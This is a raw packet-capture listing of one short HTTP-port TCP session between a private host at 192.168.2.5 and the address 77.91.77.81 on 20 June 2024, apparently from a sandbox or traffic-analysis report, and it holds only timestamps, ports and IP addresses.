Jun 20, 2024 15:38:18.264013052 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.264033079 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.264065981 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.264072895 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.264101982 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.264117002 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.264136076 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.264169931 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.264172077 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.264198065 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.264205933 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.264233112 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.264240980 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.264277935 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.264301062 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.264301062 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.264349937 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.264501095 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.264555931 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.264576912 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.264595032 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.264604092 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.264683008 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.293217897 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.293251038 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.293284893 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.293317080 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.293338060 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.293371916 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.293376923 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.293376923 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.293406963 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.293438911 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.293440104 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.293459892 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.293474913 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.293504000 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.293509007 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.293529987 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.293543100 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.293575048 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.293606043 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.293606043 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.293610096 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.293642044 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.293662071 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.293662071 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.293740988 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.293795109 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.293879986 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.293915033 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.293919086 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.293942928 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.293953896 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.293967962 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.294001102 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.294034958 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.294039965 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.294040918 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.294085979 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.294087887 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.294122934 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.294156075 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.294162989 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.294169903 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.294192076 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.294241905 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.294250965 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.294275999 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.294292927 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.294326067 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.294358015 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.294382095 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.294382095 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.294393063 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.294411898 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.294429064 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.294481039 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.294554949 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.294608116 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.294645071 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.294696093 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.294713020 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.294713020 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.294728994 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.294763088 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.294796944 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.294820070 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.294820070 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.294862986 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.294979095 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.295012951 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.295046091 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.295073986 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.295073986 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.295079947 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.295114994 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.295128107 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.295128107 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.295147896 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.295166016 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.295181990 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.295216084 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.295249939 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.295258045 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.295258045 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.295258045 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.295309067 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.295576096 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.295629978 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.295636892 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.295664072 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.295716047 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.295768023 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.295787096 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.295800924 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.295835972 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.295866013 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.295866013 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.295883894 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.295886993 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.295922041 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.295953989 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.295967102 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.295980930 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.295989037 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.296022892 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.296024084 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.296058893 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.296091080 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.296103001 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.296103001 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.296103001 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.296125889 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.296158075 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.296160936 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.296217918 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.296217918 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.309727907 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.309762955 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.309794903 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.309845924 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.309845924 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.309957981 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.322243929 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.322302103 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.322305918 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.322338104 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.322370052 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.322398901 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.322419882 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.348886013 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.348946095 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.349190950 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.349252939 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.349330902 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.349386930 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.349399090 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.349452019 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.349455118 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.349528074 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.349592924 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.349605083 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.349669933 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.349688053 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.349751949 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.349752903 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.349816084 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.349824905 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.349878073 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.349931955 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.349950075 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.349984884 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.349994898 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.350040913 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.350070953 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.350075006 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.350100040 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.350110054 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.350126028 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.350143909 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.350178003 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.350210905 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.350214005 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.350214005 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.350265026 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.350274086 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.350322962 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.350357056 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.350374937 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.350374937 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.350389957 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.350414038 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.350426912 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.350459099 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.350492954 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.350523949 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.350538969 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.350538969 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.350538969 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.350558996 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.350591898 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.350624084 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.350630999 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.350630999 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.350630999 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.350661039 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.350730896 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.350763083 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.350783110 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.350783110 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.350783110 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.350816011 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.350848913 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.350882053 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.350884914 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.350884914 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.350903034 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.350958109 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.350970030 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.351005077 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.351037979 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.351069927 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.351089001 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.351089001 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.351104021 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.351138115 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.351147890 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.351161957 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.351171017 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.351203918 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.351232052 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.351232052 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.351238966 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.351253986 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.351273060 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.351305962 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.351320028 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.351320028 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.351341963 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.351361036 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.351376057 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.351411104 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.351423025 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.351479053 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.351479053 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.379826069 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.379880905 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.379889965 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.379919052 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.379940987 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.379956961 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.380027056 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.380043030 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.380043030 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.380095005 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.380153894 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.380153894 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.380184889 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.380218983 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.380230904 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.380274057 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.380275011 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.380307913 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.380343914 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.380362034 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.380362034 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.380376101 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.380393028 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.380410910 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.380429029 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.380445957 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.380480051 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.380501032 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.380501986 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.380527020 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.380561113 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.380592108 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.380592108 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.380592108 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.380599022 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.380611897 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.380634069 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.380660057 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.380669117 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.380702972 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.380742073 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.380748034 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.380748034 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.380748034 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.380810976 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.380820036 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.380845070 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.380882025 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.380906105 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.380906105 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.380934954 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.380969048 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.380979061 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.380980015 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.381005049 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.381037951 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.381047010 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.381047010 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.381072044 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.381107092 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.381114960 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.381114960 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.381160021 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.381164074 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.381267071 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.381268978 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.381305933 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.381340981 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.381361008 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.381361008 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.381402016 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.381402016 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.381437063 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.381489992 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.381505966 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.381505966 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.381524086 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.381558895 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.381592035 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.381603956 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.381603956 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.381603956 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.381628036 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.381639004 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.381668091 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.381690979 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.381704092 CEST	80	49718	77.91.77.81	192.168.2.5
